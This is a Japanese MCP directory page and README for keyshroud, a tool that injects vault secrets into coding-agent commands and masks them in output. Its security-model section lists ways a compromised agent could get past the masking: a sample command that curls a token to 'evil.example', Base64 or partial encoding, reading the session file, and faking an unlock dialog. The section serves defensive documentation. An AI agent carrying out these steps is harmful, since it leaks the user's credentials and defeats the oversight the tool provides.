mcpField
K
keyshroud

keyshroud

ローカル
keyshroud.devセキュリティ15 日前に更新

keyshroud について

keyshroudはVaultwardenまたはBitwardenのシークレットをコマンドに注入し、コーディングエージェントに値を見せないようにします。出力のマスキングと参照によるアクセスに対応します。

主な機能

  1. 01Vaultからのシークレット注入
  2. 02標準出力と標準エラーのマスキング
  3. 03ファイル内のシークレット参照
  4. 04テンプレートから設定ファイルを生成
  5. 05漏えい検出と監査ログ
  6. 06MCPツールによるシークレット操作

活用シーン

  1. 01コーディングエージェントにAPIキーを渡す
  2. 02エージェントの会話記録から秘密を除く
  3. 03ツール設定にシークレットを出力
  4. 04プロジェクト内のVault値の漏えいを検出

MCP 対応

stdio MCPサーバーはsecrets_run、secrets_list、secrets_request、vault_statusを公開します。ツールがシークレットの値を返すことはありません。

設定

ローカルサーバーの設定はどのクライアントでも共通です。コピーしてクライアントの MCP 設定ファイルに貼り付けてください。

mcp.json · 共通設定
{
"mcpServers": {
"dinhkarate-keyshroud": {
"command": "npx",
"args": [
"-y",
"keyshroud"
]
}
}
}
起動コマンドnpx -y keyshroud

ローカルサーバーにはマシン上の実行環境(Node.js 18 以上など)が必要です。設定ファイルの場所はクライアントごとに異なります。

パッケージ
npmkeyshroud0.7.6

ツール

4

掲載時のツール一覧 · 5 日前に更新

パラメーター型必須説明
env_filestringいいえ含める bw:// 参照を記載した任意の dotenv ファイル

詳細

keyshroud

エージェントはキーを使います。キーそのものを見ることはありません。

API キーを Claude Code、Codex、Cursor、Cline、OpenCode、Gemini CLI、pi、omp から守ります — シークレットは自分でセルフホストする Vaultwarden (または Bitwarden)に保管され、すべての値はモデルが読み取る前にマスクされます。

npm Downloads CI License: MIT Node

🚀 クイックスタート · 🔐 Vault のセットアップ · 🔌 対応エージェント · ⚙️ 仕組み · ❓ FAQ · 🛡️ セキュリティモデル · 🌐 ウェブサイト

🇻🇳 Tiếng Việt · 🇨🇳 简体中文 · 🇯🇵 日本語

デモ:コマンドがトークンを使用したまま、keyshroud がコマンド出力内の GitHub トークンをマスクし、scan がテストファイルに漏えいしたキーを検出します

$ keyshroud run --mask -- sh -c 'echo "deploying with $GH_TOKEN"; gh api user -q .login'
deploying with <redacted:GH_TOKEN>
dinhkarate

コマンドには本物のトークンが渡されました。トランスクリプトと、それを読むモデルに渡されたのは <redacted:GH_TOKEN> です。(エージェントがコマンドを実行すると自動的にマスクされます。 --mask を指定すると、人間が使うターミナルでも強制的にマスクできます。)

なぜ keyshroud なのか?

コーディングエージェントが実際の作業をするには、gh、npm publish、クラウド CLI、 Webhook、データベースなどの認証情報が必要です。一般的な選択肢には問題があります。

  • ❌ キーをチャットに貼り付ける — トランスクリプトやプロバイダーのログに残り、今後のあらゆるコンテキストウィンドウに含まれます
  • ❌ .env に入れる — エージェントがデバッグ中に cat で読み取ったり、コミットしたりします
  • ❌ シークレット管理サービスに料金を払う — op run には 1Password のサブスクリプションが必要で、「エージェント用 Vault」の大半はホスト型 SaaS です
  • ❌ Vault MCP サーバーを使う — その大半は平文の値をそのままモデルに返します

keyshroud がこの問題を解決します。

  • ✅ 値ではなく名前 — エージェントに見えるのは GH_TOKEN と bw://GitHub CLI token で、トークンそのものではありません
  • ✅ 出力をマスク — stdout/stderr に出力された値はすべて <redacted:GH_TOKEN> になります
  • ✅ 自分の Vault — 5 ドルの VPS や Raspberry Pi で動かす Vaultwarden、または Bitwarden。こちらでアカウントを作る必要はありません
  • ✅ 無料 — MIT ライセンス、テレメトリーなし

機能

🙈 出力のマスキングkeyshroud run は、stdout/stderr に出力されるすべてのシークレット値を <redacted:NAME> に置き換えます。チャンク境界をまたぐ場合も安全に処理します。
🪝 エージェントフックpi/omp の tool_result フックは、失敗したものも含め、すべてのツール結果をマスキングします。Claude Code の PostToolUse フックは、成功したすべてのツール結果(Bash、Read、Grep、MCP…)をマスキングします。詳しくは制限事項をご覧ください。
🔌 MCP サーバーシェルを利用できないクライアント向けに、keyshroud mcp は secrets_run、secrets_list、secrets_request、vault_status を提供します。どのツールも値を返しません。
🔗 コミット可能な参照.env.refs ファイルやテンプレートで使える bw://item、bw://item/username、bw://item/fields/name、bw://item/totp:値ではなく名前を指定します。
⌨️ 貼り付けて作成新しいシークレットは、ユーザーのターミナルに表示されるマスキング済みプロンプト、または pi のマスキング済みポップアップから入力します。チャットを経由することはありません。
📄 inject環境変数を読み取れないツール向けに、{{ bw://… }} テンプレートを 0600 の設定ファイル(.npmrc、kubeconfig)に展開します。
🔎 scan作業ツリーに漏えいしたボールトの値を検出します(pre-commit に対応)。
⚡ 高速セッションごとに bw get(シークレット1つあたり約3秒)を実行する代わりに、bw list items を一括で1回実行します。
🏠 セルフホスト可能、無料$5 の VPS または Raspberry Pi で Vaultwarden を利用できます。SaaS アカウントもテレメトリーも不要です。
🧾 監査ログaudit.jsonl には、使用された「名前」、使用時刻、実行したコマンドが記録されます。値は記録されません。

対応エージェント

エージェントインストール利用できる機能
Claude CodeプラグインSessionStart + PostToolUse のマスキングフック、スキル
pi / omppi install npm:keyshroud環境変数の設定、tool_result のマスキング(失敗した呼び出しも対象)、/secret
Codex、OpenCode、Gemini CLI、Cursor agentnpx skills add dinhkarate/keyshroudスキル + マスキング出力対応 CLI
Claude Desktop、チャット専用クライアントmcpServers JSONマスキング出力対応の MCP ツール
任意のシェルまたは CIkeyshroud run -- <cmd>環境変数の注入 + 出力のマスキング

シェルを使えるエージェントは CLI を使用します。コンテキスト内でツールスキーマを消費せず、終了コードにかかわらず keyshroud run が出力をマスキングします。MCP サーバーは、コマンドを実行できないクライアント向けです。

ユースケース

「Claude Code が何度も .env を読み取ります。」 keyshroud import を実行して値をボールトに移し、GH_TOKEN=bw://myapp GH_TOKEN のような行を含む .env.refs ファイルを書き込みます。その後、keyshroud run --env-file .env.refs -- claude でエージェントを起動します。プラグインのフックが、ツールの結果に残ったものをマスキングします。

「すでに Vaultwarden をセルフホストしています。」 bw の接続先を設定して keyshroud doctor を実行すれば完了です。keyshroud 独自のサーバーは追加されません。

「op run は気に入っていますが、1Password は使いたくありません。」 keyshroud run も同じ仕組みです。ホストしているボールトで、参照を受け取り、マスキングされた出力を返します。

「エージェントに新しいキーを追加させる必要があります。」 エージェントは keyshroud add を実行するか、secrets_request(MCP)を呼び出します。すると、デスクトップに非表示入力のダイアログが表示されます。pi では /secret を使います。そこに値を貼り付けてください。値がチャットに入力されることはありません。

クイックスタート

要件: Node.js ≥ 22.18、Bitwarden CLI、ボルト。

0. ボルトを用意する — いずれかを選びます。

  • Vaultwarden をセルフホストする(無料、ご自身のサーバー):examples/vaultwarden に従ってください。空の VPS から keyshroud doctor の実行まで、バックアップとセキュリティ強化を含めて、HTTPS の自動設定ができる Docker Compose + Caddy を用意しています。
  • Bitwarden クラウド(無料アカウント、サーバー不要):bitwarden.com で登録し、以下の bw config server は省略してください(EU アカウントの場合:bw config server https://vault.bitwarden.eu)。
npm install -g keyshroud @bitwarden/cli

# 1. Point bw at your server and log in once
bw config server https://vault.example.com
bw login

# 2. Unlock for 30 minutes (asks for the master password, which is not stored)
keyshroud unlock

# 3. Check everything
keyshroud doctor

# 4. Store a secret — typed into a masked prompt, never echoed
keyshroud add --env GH_TOKEN --item "GitHub CLI token" --notes "gh for agents"

# 5. Use it
keyshroud run -- gh auth status
keyshroud run -- claude          # start an agent with every wired secret available

keyshroud は、ユーザーが設定しない限りマスターパスワードを保存しません。ボルトがロックされているときにコマンドがシークレットを必要とすると、入力を求めます。ターミナルでは入力がマスクされ、デスクトップではネイティブダイアログが表示されるため、エージェントのコマンドはユーザーの応答を待ちます。SSH 経由の場合は keyshroud unlock の実行を促します。セッションは 30 分後に終了します(KEYSHROUD_SESSION_TTL_MS)。タイマーが bw lock を実行するため、コピーしたセッショントークンも使えなくなります。誰も操作しないホストでは、keyshroud unlock --unattended を実行すると、ターミナルで一度だけ確認を求めた後、終了しないセッションを開始します。

確認を求めずにロックを解除するには、マスターパスワードを OS のキーチェーンに保存します(security add-generic-password -a "$USER" -s vaultwarden-master-password -w、または Linux では secret-tool store。setup の後、エントリ名は keyshroud-master-password になります。ボルトのセットアップガイドを参照してください)。これにより、エージェントを含む、ユーザーとして実行中のすべてのプログラムがパスワードを読み取れるようになります。Windows はキーチェーンをサポートしていません。

最小権限:エージェント専用アカウント

上記の手順では、ロック解除したセッションによってボルト全体にアクセスできるため、ユーザーとして bw を実行するエージェントもボルトを使用できます。setup を実行すると、代わりに keyshroud 専用アカウントで独自の bw ログインが作成され、エージェントが必要とするシークレットのみが保持されます。

keyshroud setup --email [email protected]   # opens the signup page, then logs in with the
                                                 # new master password (asked, not stored);
                                                 # no `bw config server`: Bitwarden cloud
keyshroud migrate                                # dry run: which wired items would be copied
keyshroud migrate --yes                          # copy them; references keep working
  • エージェントのログイン情報は ~/.config/keyshroud/bw(BITWARDENCLI_APPDATA_DIR)に保存されます。ユーザー自身の bw ログインには影響しません。マスターパスワードは保存されず、セッション終了時に keyshroud が入力を求め、scrypt ハッシュのみを保持します。そのため、add はこれをシークレットとして登録できません。
  • migrate は、ワイヤード名(および --env-file / --item)が参照するアイテムを、同じ名前でコピーし、その後ユーザーの個人用ボルトを再びロックします。元のアイテムは元の場所に残ります。ターミナルでユーザーの個人用マスターパスワードを求めます(または、キーチェーンの vaultwarden-master-password エントリから読み取ります)。
  • エージェント自身も setup を実行できます。ターミナルがない場合は登録ページが開くので、エージェントアカウントのマスターパスワードを自分で選択してください(パスワードマネージャーに保存してください)。その後、エージェントが setup --registered を実行すると、ダイアログでパスワードの入力を求めます。パスワードが、エージェントから読み取れるものを経由することはありません。--confirm-unlock と --unattended の実行にはターミナルが必要です。
  • --confirm-unlock(macOS)は、マスターパスワードをキーチェーンの keyshroud-master-password エントリに保存します。読み取りのたび、つまりロック解除のたびに macOS が確認を求めます。
  • --unattended(ssh -t 経由など、誰も操作しないホスト向け)は、終了しないセッションでログインします。再度ロックを解除するには keyshroud unlock --unattended を実行します。
  • SIGNUPS_ALLOWED=false が設定されたセルフホスト版 Vaultwarden の場合、管理ページ(/admin)からそのアドレスを招待するか、サインアップを一時的に有効にしてアカウント作成後に一度だけ --registered を渡します。

動作の仕組み

                     ┌──────────────────── your machine ────────────────────┐
 Vaultwarden  ◄─bw─► │ keyshroud ── resolves bw:// refs (1 batched call) ──► child process env
 (self-hosted)       │     │                                                │      │ stdout/stderr
                     │     └── redactor ◄────────────────────────────────────┘◄─────┘
                     │              │ <redacted:NAME>                                │
                     └──────────────┼────────────────────────────────────────────────┘
                                    ▼
                       agent transcript / LLM provider
  1. 紐付け。 シークレットは名前で紐付けます:GH_TOKEN → bw://GitHub CLI token。 紐付けは ~/.pi/agent/auth.json / ~/.omp/agent/auth.json (pi/omp と共有)およびプロジェクトの .env.refs ファイルに保存されます。どちらも安全に読み取れます。
  2. ロック解除。 keyshroud はマスターパスワードの入力を求めます(または OS のキーチェーンに保存したものを読み込みます)。セッショントークンは ~/.config/keyshroud/session(0600)にキャッシュされ、30 分後に再びロックされます。
  3. 解決。 すべての参照は、KEYSHROUD_CACHE_TTL_MS(デフォルトは 1 時間)の間メモリに保持される bw list items のスナップショットから解決されます。
  4. 注入。 値は子プロセスの環境に渡されます。argv やツールの結果に含まれることはありません(inject は、要求された場合に限り 0600 のファイルを書き込みます)。
  5. 編集。 プロセス内(run、MCP、pi/omp)の出力は、すべての紐付け済みの値、ボルトのセッショントークン、ボルト内のすべてのログインパスワードを把握した編集機能を通過します。プロセス外で動作する Claude Code のフックは、紐付け済みの値とセッショントークンのみを対象とするキー付き HMAC フィンガープリントインデックス(redact-index.json、0600)を使用するため、平文を保持せず、個人のパスワードのフィンガープリントも作成しません。

Claude Code

CLI をインストールし、その後プラグイン(編集フック+スキル)をインストールします:

npm install -g keyshroud
/plugin marketplace add dinhkarate/keyshroud
/plugin install keyshroud@keyshroud

利用できる機能:

  • SessionStart フック — 編集インデックスを更新し、存在するシークレットの名前を Claude に伝えます。マスターパスワードを求めることはありません。ボルトがロックされている場合は、keyshroud unlock を実行するよう Claude に伝えます。
  • PostToolUse フック — Claude Code の updatedToolOutput を使用して、紐付け済みの値またはボルトのセッショントークンを含む、成功したツールの結果を書き換え、<redacted:NAME> にします(Claude Code 2.1.296 でテスト済み)。 制限: コマンドが失敗すると、Claude Code は PostToolUseFailure を実行しますが、これは出力を書き換えられません。そのため、スキルとセッションコンテキストは、終了コードにかかわらずプロセス内でマスクされるよう、シークレットを使用するすべてのコマンドを keyshroud run 経由で実行するよう Claude に伝えます。
  • スキル — 値ではなく、名前と参照を使うよう Claude に教えます。

Claude は Bash ツールから CLI を使用するため、プラグインは MCP サーバーを追加しません(0.6.1 以降)。それでも追加するには:claude mcp add keyshroud -- keyshroud mcp。

プラグインは PATH から keyshroud を呼び出します。GUI から起動した Claude Code が npm/nvm の bin ディレクトリを認識できない場合は、keyshroud link-cli を実行して(~/.local/bin にリンクします)、そのディレクトリが GUI の PATH に含まれていることを確認してください。

Bash コマンドに環境変数としてシークレットを渡すには、keyshroud 経由で Claude を起動します:

keyshroud run -- claude

ボルトのアイテムを Claude Code 自身の API キー(apiKeyHelper)として使用します:

keyshroud claude-setup --item "Anthropic API key" --ttl-ms 600000

最初に settings.json をバックアップし、既存のヘルパーを --force なしで置き換えることは拒否します。

pi / omp

pi install npm:keyshroud

この拡張機能は以下を行います:

  • プロバイダー認証の解決前に、紐付け済みのシークレットをエージェントの環境に設定するため、起動時に $CUSTOM_KEY のようなプロバイダー参照が機能します。
  • tool_result フックを通じて、成功・失敗を問わずすべてのツール結果を編集します(紐付け済みの値、ボルトのセッショントークン、ボルト内のすべてのログインパスワードが対象です)。
  • /secret(説明 → 名前の確認 → マスクされた貼り付け)、/vault_add、/vault_wire、/vault_rotate、/vault_status、および vault_add_secret / vault_status ツールを追加します。

/secret は、ローカルの OpenAI 互換モデルにアイテム名と変数名の候補を提案させることができます。送信されるのは説明だけで、値は送信されません:

export KEYSHROUD_PLANNER_URL=http://127.0.0.1:8080/v1/chat/completions
export KEYSHROUD_PLANNER_MODEL=qwen3-4b

プランナーを使用しない場合、説明から名前が生成され、編集できます。

シェルを使えるその他のエージェント

Codex、OpenCode、Gemini CLI、Cursor のエージェントなど、コマンドを実行できるものなら何でも:CLI とスキルをインストールします。スキルは、エージェントにシークレットを使うコマンドを keyshroud run -- … として実行し、新しいシークレットを keyshroud add で保存するよう教えます:

npm install -g keyshroud
npx skills add dinhkarate/keyshroud

シェルを使わない MCP クライアント

Claude Desktop、チャット専用クライアント、またはコマンドの実行を許可していないエージェント。stdio 経由で MCP を使用するクライアントであれば利用できます。

{ "mcpServers": { "keyshroud": { "command": "keyshroud", "args": ["mcp"] } } }

Codex でも MCP を使いたい場合:codex mcp add keyshroud -- keyshroud mcp。非インタラクティブな codex exec では、承認が必要な MCP 呼び出しは拒否されます。keyshroud のツールを明示的に許可してください。

# ~/.codex/config.toml
[mcp_servers.keyshroud.tools.secrets_run]
approval_mode = "approve"

OpenCode:opencode mcp add keyshroud -- keyshroud mcp。

ツール内容戻り値
secrets_list登録済みの名前を一覧表示します(任意の env_file を指定可能)解決済み/未解決の名前
secrets_runシークレットを注入してシェルコマンドを実行します(only、env_file、cwd、timeout_ms)終了コード+マスク済みの標準出力/標準エラー
secrets_requestユーザーのデスクトップに入力内容を隠すダイアログを表示し、値を保存しますcreated … verified=yes。ダイアログを表示できない場合は、ユーザーのターミナルで実行する keyshroud add … コマンド
vault_statusVault のロック状態、サーバー、アイテム数ステータス行

CLI リファレンス

keyshroud get <ENV_NAME | bw://ref>          print one value (for scripts; not for agents)
keyshroud run [--env-file F]... [--only A,B] [--no-auth] [--mask|--no-mask] -- <cmd>
keyshroud inject [-i template] [-o out] [--force]
keyshroud redact < log.txt
keyshroud scan [paths...]
keyshroud env [--shell]
keyshroud add --env NAME --item ITEM [--notes TEXT] [--target pi|omp|both] [--stdin|--dialog]
keyshroud import [--from F|-] [--out F] [--prefix P] [--only A,B] [--skip A,B] [--yes] [--replace] [--force]
keyshroud rotate --item ITEM [--stdin|--dialog]
keyshroud wire --env NAME --item ITEM [--target pi|omp|both] [--force]
keyshroud unwire --env NAME [--target pi|omp|both]
keyshroud setup --email EMAIL [--server URL] [--confirm-unlock | --unattended] [--registered]
keyshroud migrate [--item NAME]... [--env-file F]... [--yes]
keyshroud unlock [--unattended]
keyshroud status | lock | doctor
keyshroud mcp
keyshroud hook claude <session-start|post-tool-use>
keyshroud claude-setup --item ITEM [--settings PATH] [--ttl-ms N] [--force]
keyshroud api-key --item ITEM
keyshroud link-cli [--dir DIR] [--force]

run は、標準出力がターミナルではない場合(エージェント、CI、パイプ)に出力をマスクし、インタラクティブな使用時は TTY をそのまま引き継ぎます。--mask / --no-mask でどちらかを強制できます。exec は run のエイリアスです。

add と rotate は、各文字を * で表示するマスク済みプロンプトから値を読み取ります。ターミナルがない場合(エージェントのシェル)は、代わりにネイティブの入力内容を隠すダイアログを開きます(macOS では osascript、Linux では zenity または kdialog、Windows では PowerShell)。そのため、エージェントにコマンドを開始させ、値はユーザーが貼り付けるだけで済みます。SSH 経由の場合、またはディスプレイがない場合は、--stdin を指定して値をパイプで渡してください。

import は .env(デフォルトは ./.env)を読み込み、名前(*_TOKEN や *_KEY など)または値(sk-… やパスワード付き URL など)に基づいて、どの行がシークレットかを判定し、名前のみのプランを表示します。--yes を指定するまでは何も書き込まれません。指定すると、各シークレットにつき 1 つの Vault アイテムを作成し、名前を <prefix> NAME とします(prefix のデフォルトはディレクトリ名です)。各値を読み返して検証し、コメントとシークレット以外の行を保持した .env.refs を書き込みます。再実行時は、同じ値がすでに設定されているアイテムを再利用し、競合がある場合は処理を停止します。--replace を指定すると、代わりに元のファイルをその場で書き換えます(アトミックに処理し、バックアップコピーは作成しません)。複数行の値、${VAR} による展開、重複キーは、値を表示せずに行番号を示して拒否されます。

keyshroud import                 # dry run: which names would move
keyshroud import --yes           # store them and write .env.refs
keyshroud run --env-file .env.refs -- npm test

終了コード: 0 正常 · 2 使用方法 · 3 Vault がロック中または利用不可 · 4 シークレットが見つからない、またはアイテム名が曖昧 · 5 既存の状態の上書きを拒否。 run は子プロセスのコードで終了します。

参照
参照解決先
bw://GitHub CLI tokenログインパスワード
bw://GitHub CLI token/usernameログインユーザー名(notes、uri、id も使用できます)
bw://Sentry/fields/dsnカスタムフィールド dsn
bw://AWS root/totp現在の TOTP コード
bw://a%2Fba/b という名前のアイテム
!bw get password 'Item'従来の auth.json 形式。引き続きサポートされています

アイテムは、名前では大文字と小文字を区別せずに検索され、ID では完全一致で検索されます。同名のアイテムが複数ある場合は、推測せずに処理を拒否します(終了コード 4)。

設定
変数デフォルト
KEYSHROUD_CACHE_TTL_MS3600000メモリ内 Vault スナップショットとセッションチェックの有効期間。0 で無効になります
KEYSHROUD_SESSION_TTL_MS1800000bw lock が実行されるまでのロック解除済みセッションの有効期間
KEYSHROUD_LOCK_TIMERon0 でバックグラウンドタイマーをスキップします(その場合、セッションは次の呼び出し時に終了します)
KEYSHROUD_CONFIG_DIR$XDG_CONFIG_HOME/keyshroudセッション、bw/(setup 後)、マスターパスワードのハッシュ、リダクトインデックス、監査ログ
KEYSHROUD_KEYCHAIN_MASTERvaultwarden-master-passwordキーチェーンのサービス名(setup 後は keyshroud-…)
KEYSHROUD_KEYCHAIN_CLIENT_IDvaultwarden-api-client-id
KEYSHROUD_KEYCHAIN_CLIENT_SECRETvaultwarden-api-client-secret
KEYSHROUD_AUDITon0 で audit.jsonl を無効にします
KEYSHROUD_PLANNER_URL / _MODEL / _API_KEY未設定/secret 用の任意の名前付けヘルパー

よくある質問

Vaultwarden は必要ですか? いいえ。公式の Bitwarden クラウドも使えます。keyshroud は、bw の接続先として設定されているサーバーと通信します。

シークレットが自分のマシンから外部に送信されますか? bw とボールトサーバーの間でのみ送信されます。keyshroud にバックエンドはなく、テレメトリーも送信されません。値は、実行するコマンドの環境変数に渡されます。

エージェントは引き続きキーを使えますか? はい。コマンドには実際の値が渡されます。モデルが読み取るテキストだけがマスクされます。

これはサンドボックスですか? いいえ。誤って情報を漏らすのを防ぎます。悪意のあるエージェントやプロンプトインジェクションを受けたエージェントは、使用できる値を持ち出す可能性があります。セキュリティモデルをご覧ください。

.env を .gitignore に追加するだけではだめですか? それで防げるのはコミットであり、読み取りではありません。エージェントはデバッグのために .env を読み取り、読み取った内容はすべてモデルプロバイダーに送信されます。

Windows でも動作しますか? はい。Node 22 を使用した Windows 10 でテスト済みです。bw やその他の npm コマンドラインツール(.cmd シム)はシェルなしで実行され、ロック解除ダイアログは小さな PowerShell ウィンドウで表示されます。また、他の環境と同様に、セッションは 30 分後に終了します。%USERPROFILE%\.config\keyshroud 内のファイルは、0600 ではなく、ユーザープロファイルの ACL(自分、SYSTEM、Administrators)によって保護されます。制限が 1 つあります。ターミナルを使って SSH セッション(ssh -t)に接続している場合、SSH セッションが閉じると Windows はロックタイマーを終了するため、そのセッションは次回の keyshroud 呼び出し時に終了します。Windows ではキーリングをサポートしていません。keyshroud はマスターパスワードを要求し、migrate も実行できません。

bw login で KeyIdBackfillError が表示されますか? bw 2026.9 以降では、Vaultwarden 1.37.4 で追加されたエンドポイントが呼び出されます(vaultwarden#7750)。ログイン情報は保存されます(bw status は locked を返します)。また、keyshroud setup と API キーでのログインは、そのまま続行されます。このエラーを解消するには、Vaultwarden を 1.37.4 以降に更新してください。

セキュリティモデル

keyshroud は偶発的な漏えいを防ぎます。コマンドが秘密情報を出力したために、トランスクリプト、プロバイダーのログ、スクリーンショット、コミット、またはモデルのコンテキストに秘密情報が入り込むのを防ぎます。

敵対的なエージェントや、プロンプトインジェクションを受けたエージェントを安全にするものではありません。keyshroud run -- curl https://evil.example -d "$TOKEN" を実行したり、出力前に値を Base64 エンコードしたりできるエージェントは、その情報を外部へ持ち出せます。それが脅威モデルに当てはまる場合は、通信中にプレースホルダーの認証情報を置き換えるエグレスプロキシ(Infisical Agent Vault や OneCLI など)を使い、--only で各セッションが取得できる秘密情報を制限し、コマンドを人間が承認するようにしてください。

テストで確認している保証:

  • 秘密情報の値が、argv、ログ、診断情報、MCP の結果、フックの出力、audit.jsonl に決して現れないこと。
  • 新しい秘密情報は、マスクされたプロンプト、--stdin、またはネイティブダイアログからのみ読み込まれ、フラグからは読み込まれないこと。
  • エージェントが開けるダイアログには、プログラムからの要求であることが表示され、マスターパスワードを入力しないよう警告されること。1 行に収まる印字可能な文字列以外の名前と、マスターパスワードそのものは拒否され、ダイアログは一度に 1 つだけ開き、キャンセル後は 30 秒間開けないこと。
  • セッションファイル、マスク用インデックス、レンダリングされたテンプレート、認証ファイルのパーミッションが 0600 であること。
  • auth.json への書き込みがロックされ、アトミックに行われ、--force が指定されていない限り上書きされないこと。
  • run と secrets_run が起動するコマンドには BW_SESSION、BW_PASSWORD、BW_CLIENTID、BW_CLIENTSECRET が決して渡されず、--only によってコマンドが読み取れる情報が実際に制限されること(pi/omp 内では、従来の !bw 認証エントリーのためにエージェントプロセスがセッションを保持しますが、その値はツールの出力でマスクされます)。
  • 環境ファイルには参照とリテラル値だけを含められること。!command の値は拒否され、プログラムの読み込みや実行内容を変更する変数(PATH、NODE_OPTIONS、LD_*、DYLD_*、BASH_ENV、GIT_SSH_COMMAND など)も拒否され、配線や注入もされないこと。
  • 解析できない auth.json が上書きされないこと。

既知の制限:.env.refs は、配線したものに限らず、ボールト内の任意の項目を参照できます。そのため、複製したリポジトリの .env.refs を確認してから、そのリポジトリで --env-file を実行してください。import はヒューリスティックに基づいて秘密情報を判定し、それ以外はすべてリテラルとして扱うため、.env.refs をコミットする前に、そのプランを確認してください。Claude Code の PostToolUse フックは、失敗したコマンド(PostToolUseFailure は出力を書き換えられません)や、クライアントがテレメトリーとして送信する内容は確認できません。また、配線済みの値しか認識しないため、keyshroud get bw://… や run --no-mask は値をそのまま出力します。秘密情報を使うコマンドは、keyshroud run または secrets_run 経由で実行してください。ユーザー権限でシェルにアクセスできるエージェントは、セッションが終了するまで ~/.config/keyshroud/session を読み取り、bw を直接使えます。setup 後にアクセスできるのはエージェントアカウントだけですが、保存されたマスターパスワード(キーチェーンのエントリー、または ~/.config/keyshroud/master-password)はいつでも読み取れます。そのため、keyshroud はデフォルトでマスターパスワードの入力を求める設計になっています。この点が重要な場合は、エージェントをサンドボックスまたはコンテナー内で実行してください。同じエージェントが、ロック解除ダイアログに見せかけたウィンドウを表示することもできます。判断に迷ったら、ダイアログをキャンセルし、ターミナルで keyshroud unlock を実行してください。setup しない場合、keyshroud は bw のデフォルトログインを共有するため、30 分後のロックによって、自分で開いた bw セッションも終了します。マスク処理は完全一致で行われるため、値の一部や変換された値(${TOKEN:0:10}、Base64、ツールによって改行された値)はマスクされません。6 文字未満の値はノイズを避けるためマスクされないので、短い PIN は配線しないでください。

脆弱性は非公開で報告してください。SECURITY.md を参照してください。

開発

npm install
npm run check        # typecheck + tests (fake bw, no real vault) + build
node src/cli.ts doctor   # run from source (Node ≥ 22.18 strips types)

CONTRIBUTING.md を参照してください。ランタイムに依存しないコアは src/core.ts にあり、エージェント連携は extensions/、src/mcp.ts、src/hooks.ts にあります。

クレジット

@jmcombs/pi-1password に着想を得ています。ポップアップ UI と診断情報の形式は、同プロジェクトから移植しています(MIT)。マスクされた出力は、1Password の op run に準じています。Bitwarden, Inc. または Vaultwarden プロジェクトとは無関係です。「Bitwarden」は Bitwarden, Inc. の商標です。

License

MIT © 2026 dinhkarate

コメント

MCP は初めてですか?

プロトコルの概要から最初のサーバーの導入まで、よくある疑問にまとめて答えます。

AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。